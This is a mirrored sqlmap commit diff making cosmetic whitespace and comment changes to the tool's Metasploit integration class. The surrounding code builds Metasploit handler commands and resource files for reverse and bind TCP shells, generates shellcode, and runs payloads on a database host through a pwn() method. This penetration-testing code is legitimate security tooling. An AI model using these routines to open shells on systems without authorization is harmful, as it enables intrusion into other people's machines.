mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-06-21 21:43:07 +03:00
Minor cosmetic fixes
This commit is contained in:
parent
22ed09a358
commit
862cc9ac53
|
@ -53,12 +53,9 @@ class Metasploit:
|
||||||
self.payloadStr = None
|
self.payloadStr = None
|
||||||
self.encoderStr = None
|
self.encoderStr = None
|
||||||
self.payloadConnStr = None
|
self.payloadConnStr = None
|
||||||
|
|
||||||
self.resourceFile = None
|
self.resourceFile = None
|
||||||
|
|
||||||
self.localIP = getLocalIP()
|
self.localIP = getLocalIP()
|
||||||
self.remoteIP = getRemoteIP()
|
self.remoteIP = getRemoteIP()
|
||||||
|
|
||||||
self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
||||||
self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
|
self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
|
||||||
self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
||||||
|
@ -79,7 +76,7 @@ class Metasploit:
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||||
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
||||||
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" )
|
||||||
},
|
},
|
||||||
"linux": {
|
"linux": {
|
||||||
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||||
|
@ -304,16 +301,15 @@ class Metasploit:
|
||||||
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self.__cliCmd += " LPORT=%s" % self.portStr
|
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||||
|
#self.__cliCmd += " ExitOnSession=true"
|
||||||
|
|
||||||
if self.payloadStr == "windows/vncinject":
|
if self.payloadStr == "windows/vncinject":
|
||||||
self.__cliCmd += " DisableCourtesyShell=1"
|
self.__cliCmd += " DisableCourtesyShell=1"
|
||||||
|
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
||||||
|
|
||||||
elif self.connectionStr.startswith("reverse"):
|
elif self.connectionStr.startswith("reverse"):
|
||||||
self.__cliCmd += " LHOST=%s" % self.lhostStr
|
self.__cliCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
@ -332,13 +328,12 @@ class Metasploit:
|
||||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||||
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
||||||
self.__resource += "set LPORT %s\n" % self.portStr
|
self.__resource += "set LPORT %s\n" % self.portStr
|
||||||
|
#self.__resource += "set ExitOnSession true\n"
|
||||||
|
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
self.__resource += "set RHOST %s\n" % self.rhostStr
|
self.__resource += "set RHOST %s\n" % self.rhostStr
|
||||||
|
|
||||||
elif self.connectionStr.startswith("reverse"):
|
elif self.connectionStr.startswith("reverse"):
|
||||||
self.__resource += "set LHOST %s\n" % self.lhostStr
|
self.__resource += "set LHOST %s\n" % self.lhostStr
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
@ -352,6 +347,7 @@ class Metasploit:
|
||||||
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||||
|
#self.__payloadCmd += " ExitOnSession=true"
|
||||||
|
|
||||||
if self.connectionStr.startswith("reverse"):
|
if self.connectionStr.startswith("reverse"):
|
||||||
self.__payloadCmd += " LHOST=%s" % self.lhostStr
|
self.__payloadCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
@ -502,7 +498,7 @@ class Metasploit:
|
||||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.__randStr = randomStr(lowercase=True)
|
self.__randStr = randomStr(lowercase=True)
|
||||||
self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
|
self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
|
||||||
|
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
|
@ -566,7 +562,7 @@ class Metasploit:
|
||||||
self.__fileFormat = "exe"
|
self.__fileFormat = "exe"
|
||||||
else:
|
else:
|
||||||
self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
|
||||||
self.__fileFormat = "elf"
|
self.__fileFormat = "elf"
|
||||||
|
|
||||||
if initialize:
|
if initialize:
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
|
@ -592,7 +588,7 @@ class Metasploit:
|
||||||
|
|
||||||
if payloadSize:
|
if payloadSize:
|
||||||
payloadSize = payloadSize.group(1)
|
payloadSize = payloadSize.group(1)
|
||||||
exeSize = os.path.getsize(self.exeFilePathLocal)
|
exeSize = os.path.getsize(self.exeFilePathLocal)
|
||||||
|
|
||||||
# Only pack the payload stager if the back-end DBMS operating
|
# Only pack the payload stager if the back-end DBMS operating
|
||||||
# system is Windows and new portable executable template is
|
# system is Windows and new portable executable template is
|
||||||
|
@ -602,7 +598,7 @@ class Metasploit:
|
||||||
else:
|
else:
|
||||||
packedSize = None
|
packedSize = None
|
||||||
|
|
||||||
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||||
|
|
||||||
if packedSize and packedSize < exeSize:
|
if packedSize and packedSize < exeSize:
|
||||||
debugMsg += "as a compressed portable executable its size "
|
debugMsg += "as a compressed portable executable its size "
|
||||||
|
@ -637,10 +633,10 @@ class Metasploit:
|
||||||
def pwn(self, goUdf=False):
|
def pwn(self, goUdf=False):
|
||||||
if goUdf:
|
if goUdf:
|
||||||
exitfunc = "thread"
|
exitfunc = "thread"
|
||||||
func = self.__runMsfShellcodeRemote
|
func = self.__runMsfShellcodeRemote
|
||||||
else:
|
else:
|
||||||
exitfunc = "process"
|
exitfunc = "process"
|
||||||
func = self.__runMsfPayloadRemote
|
func = self.__runMsfPayloadRemote
|
||||||
|
|
||||||
self.__runMsfCli(exitfunc=exitfunc)
|
self.__runMsfCli(exitfunc=exitfunc)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue
Block a user